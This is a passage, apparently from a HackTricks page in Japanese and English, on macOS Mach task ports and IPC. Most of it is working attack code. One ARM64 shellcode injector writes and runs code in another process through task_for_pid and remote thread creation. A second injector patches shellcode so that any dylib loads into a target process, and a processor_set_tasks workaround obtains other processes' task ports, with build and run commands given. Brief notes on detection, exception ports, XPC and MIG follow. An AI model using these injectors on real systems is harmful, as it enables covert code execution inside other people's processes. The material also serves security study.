kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = “\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00”;

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, “Unable to call task_for_pid on pid %d: %d. Cannot continue!\n”,pid, kr); return (-1); } else{ printf(“Gathered privileges over the task port of process: %d\n”, pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to allocate memory for remote stack in thread: Error %s\n”, mach_error_string(kr)); return (-2); } else {

fprintf (stderr, “Allocated remote stack @0x%llx\n”, remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to allocate memory for remote code in thread: Error %s\n”, mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to write remote thread memory: Error %s\n”, mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to set memory permissions for remote thread’s code: Error %s\n”, mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to set memory permissions for remote thread’s stack: Error %s\n”, mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, ‘\0’, sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf (“Remote Stack 64 0x%llx, Remote code is %p\n”, remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to create remote thread: error %s”, mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@“pgrep”, processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@“/usr/bin/env”]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@“Usage: %s ”, argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@“Error: Process named ‘%@’ not found.”, arg); return 1; } else{ printf(“Found PID of process ‘%s’: %d\n”, [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Tip

これをiOSで動䜜させるには、曞き蟌み可胜なメモリ実行可胜ファむルを䜜成するためにdynamic-codesigningの暩限が必芁です。

タスクポヌト経由のスレッドでのDylibむンゞェクション

macOSでは、スレッドはMachを介しお、たたはposix pthread apiを䜿甚しお操䜜できたす。前回のむンゞェクションで生成したスレッドはMach apiを䜿甚しお生成されたため、posix準拠ではありたせん。

posix準拠のapiを䜿甚する必芁がなかったため、コマンドを実行するためのシンプルなシェルコヌドを泚入するこずができたした。しかし、より耇雑なむンゞェクションでは、スレッドもposix準拠である必芁がありたす。

したがっお、スレッドを改善するためには、pthread_create_from_mach_threadを呌び出す必芁がありたす。これにより、有効なpthreadが䜜成されたす。この新しいpthreadは、システムからdylibをロヌドするためにdlopenを呌び出すこずができたす。そのため、異なるアクションを実行するために新しいシェルコヌドを曞く代わりに、カスタムラむブラリをロヌドするこずが可胜です。

䟋のdylibsは次の堎所にありたす䟋えば、ログを生成し、その埌リスニングできるもの

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include #include #include #include #include #include #include

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include “mach/arm/thread_status.h”

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

// “\x00\x00\x20\xd4” // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

“\xff\x83\x00\xd1” // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables “\xFD\x7B\x01\xA9” // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack “\xFD\x43\x00\x91” // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer “\xff\x43\x00\xd1” // SUB SP, SP, #0x10 ; Space for the “\xE0\x03\x00\x91” // MOV X0, SP ; (arg0)Store in the stack the thread struct “\x01\x00\x80\xd2” // MOVZ X1, 0 ; X1 (arg1) = 0; “\xA2\x00\x00\x10” // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start “\x03\x00\x80\xd2” // MOVZ X3, 0 ; X3 (arg3) = 0; “\x68\x01\x00\x58” // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) “\x00\x01\x3f\xd6” // BLR X8 ; call pthread_create_from_mach_thread “\x00\x00\x00\x14” // loop: b loop ; loop forever

// Call dlopen with the path to the library “\xC0\x01\x00\x10” // ADR X0, #56 ; X0 => “LIBLIBLIB
”; “\x68\x01\x00\x58” // LDR X8, #44 ; load DLOPEN “\x01\x00\x80\xd2” // MOVZ X1, 0 ; X1 = 0; “\x29\x01\x00\x91” // ADD x9, x9, 0 - I left this as a nop “\x00\x01\x3f\xd6” // BLR X8 ; do dlopen()

// Call pthread_exit “\xA8\x00\x00\x58” // LDR X8, #20 ; load PTHREADEXT “\x00\x00\x80\xd2” // MOVZ X0, 0 ; X1 = 0; “\x00\x01\x3f\xd6” // BLR X8 ; do pthread_exit

“PTHRDCRT” // <- “PTHRDEXT” // <- “DLOPEN__” // <- “LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” “\x00” ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, “Unable to open library file %s (%s) - Cannot inject\n”, lib,strerror (errno)); //return (-9); }

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, “Unable to call task_for_pid on pid %d: %d. Cannot continue!\n”,pid, kr); return (-1); } else{ printf(“Gathered privileges over the task port of process: %d\n”, pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to allocate memory for remote stack in thread: Error %s\n”, mach_error_string(kr)); return (-2); } else {

fprintf (stderr, “Allocated remote stack @0x%llx\n”, remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to allocate memory for remote code in thread: Error %s\n”, mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, “pthread_create_from_mach_thread”); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, “pthread_exit”); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, “PTHRDEXT”, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf (“Pthread exit @%llx, %llx\n”, addrOfPthreadExit, pthread_exit); }

if (memcmp (possiblePatchLocation, “PTHRDCRT”, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); printf (“Pthread create from mach thread @%llx\n”, addrOfPthreadCreate); }

if (memcmp(possiblePatchLocation, “DLOPEN__”, 6) == 0) { printf (“DLOpen @%llx\n”, addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); }

if (memcmp(possiblePatchLocation, “LIBLIBLIB”, 9) == 0) { strcpy(possiblePatchLocation, lib ); } }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to write remote thread memory: Error %s\n”, mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to set memory permissions for remote thread’s code: Error %s\n”, mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to set memory permissions for remote thread’s stack: Error %s\n”, mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, ‘\0’, sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf (“Remote Stack 64 0x%llx, Remote code is %p\n”, remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,“Unable to create remote thread: error %s”, mach_error_string (kr)); return (-3); }

return (0); }

int main(int argc, const char * argv[]) { if (argc < 3) { fprintf (stderr, “Usage: %s pid action\n”, argv[0]); fprintf (stderr, “ action: path to a dylib on disk\n“); exit(0); }

pid_t pid = atoi(argv[1]); const char *action = argv[2]; struct stat buf;

int rc = stat (action, &buf); if (rc == 0) inject(pid,action); else { fprintf(stderr,“Dylib not found\n”); }

}

</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

スレッドハむゞャックによるタスクポヌト

この技術では、プロセスのスレッドがハむゞャックされたす

macOS Thread Injection via Task port

タスクポヌトむンゞェクション怜出

task_for_pid たたは thread_create_* を呌び出すず、カヌネルの構造䜓タスク内のカりンタヌがむンクリメントされ、ナヌザヌモヌドから task_info(task, TASK_EXTMOD_INFO, ...) を呌び出すこずでアクセスできたす。

䟋倖ポヌト

スレッドで䟋倖が発生するず、この䟋倖はスレッドの指定された䟋倖ポヌトに送信されたす。スレッドがそれを凊理しない堎合、タスクの䟋倖ポヌトに送信されたす。タスクがそれを凊理しない堎合、ホストポヌトに送信され、launchdによっお管理されたすそこで承認されたす。これを䟋倖トリアヌゞず呌びたす。

通垞、適切に凊理されない堎合、レポヌトはReportCrashデヌモンによっお凊理されたす。ただし、同じタスク内の別のスレッドが䟋倖を管理するこずも可胜であり、これが PLCreashReporter のようなクラッシュレポヌトツヌルが行うこずです。

その他のオブゞェクト

時蚈

任意のナヌザヌは時蚈に関する情報にアクセスできたすが、時間を蚭定したり他の蚭定を倉曎したりするにはroot暩限が必芁です。

情報を取埗するためには、clock サブシステムの関数を呌び出すこずができたす clock_get_time、clock_get_attributtes たたは clock_alarm
倀を倉曎するためには、clock_priv サブシステムを䜿甚し、clock_set_time や clock_set_attributes のような関数を䜿甚できたす。

プロセッサずプロセッサセット

プロセッサAPIは、processor_start、processor_exit、processor_info、processor_get_assignment などの関数を呌び出すこずで、単䞀の論理プロセッサを制埡するこずを可胜にしたす。

さらに、プロセッサセット APIは、耇数のプロセッサをグルヌプ化する方法を提䟛したす。processor_set_default を呌び出すこずで、デフォルトのプロセッサセットを取埗できたす。
プロセッサセットず察話するための興味深いAPIは以䞋の通りです

  • processor_set_statistics
  • processor_set_tasks: プロセッサセット内のすべおのタスクぞの送信暩の配列を返したす
  • processor_set_threads: プロセッサセット内のすべおのスレッドぞの送信暩の配列を返したす
  • processor_set_stack_usage
  • processor_set_info

この投皿で述べたように、過去には、processor_set_tasks を呌び出しお他のプロセスのタスクポヌトを取埗し、それらを制埡するために、前述の保護を回避するこずができたした。
珟圚では、その関数を䜿甚するにはroot暩限が必芁であり、これは保護されおいるため、保護されおいないプロセスでのみこれらのポヌトを取埗できるようになりたす。

以䞋のコヌドで詊すこずができたす

processor_set_tasks コヌド ````c // Maincpart fo the code from https://newosxbook.com/articles/PST2.html //gcc ./port_pid.c -o port_pid

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/sysctl.h> #include <libproc.h> #include <mach/mach.h> #include <errno.h> #include <string.h> #include <mach/exception_types.h> #include <mach/mach_host.h> #include <mach/host_priv.h> #include <mach/processor_set.h> #include <mach/mach_init.h> #include <mach/mach_port.h> #include <mach/vm_map.h> #include <mach/task.h> #include <mach/task_info.h> #include <mach/mach_traps.h> #include <mach/mach_error.h> #include <mach/thread_act.h> #include <mach/thread_info.h> #include <mach-o/loader.h> #include <mach-o/nlist.h> #include <sys/ptrace.h>

mach_port_t task_for_pid_workaround(int Pid) {

host_t myhost = mach_host_self(); // host self is host priv if you’re root anyway.. mach_port_t psDefault; mach_port_t psDefault_control;

task_array_t tasks; mach_msg_type_number_t numTasks; int i;

thread_array_t threads; thread_info_data_t tInfo;

kern_return_t kr;

kr = processor_set_default(myhost, &psDefault);

kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); if (kr != KERN_SUCCESS) { fprintf(stderr, “host_processor_set_priv failed with error %x\n”, kr); mach_error(“host_processor_set_priv”,kr); exit(1);}

printf(“So far so good\n”);

kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); if (kr != KERN_SUCCESS) { fprintf(stderr,“processor_set_tasks failed with error %x\n”,kr); exit(1); }

for (i = 0; i < numTasks; i++) { int pid; pid_for_task(tasks[i], &pid); printf(“TASK %d PID :%d\n”, i,pid); char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) { printf(“Command line: %s\n”, pathbuf); } else { printf(“proc_pidpath failed: %s\n”, strerror(errno)); } if (pid == Pid){ printf(“Found\n”); return (tasks[i]); } }

return (MACH_PORT_NULL); } // end workaround

int main(int argc, char *argv[]) { /*if (argc != 2) { fprintf(stderr, “Usage: %s \n”, argv[0]); return 1; }

pid_t pid = atoi(argv[1]); if (pid <= 0) { fprintf(stderr, “Invalid PID. Please enter a numeric value greater than 0.\n”); return 1; }*/

int pid = 1;

task_for_pid_workaround(pid); return 0; }


XPC

Basic Information

XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. It’s a part of Apple’s security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.

For more information about how this communication work on how it could be vulnerable check:

macOS XPC

MIG - Mach Interface Generator

MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server
).

MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.

For more info check:

macOS MIG - Mach Interface Generator

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする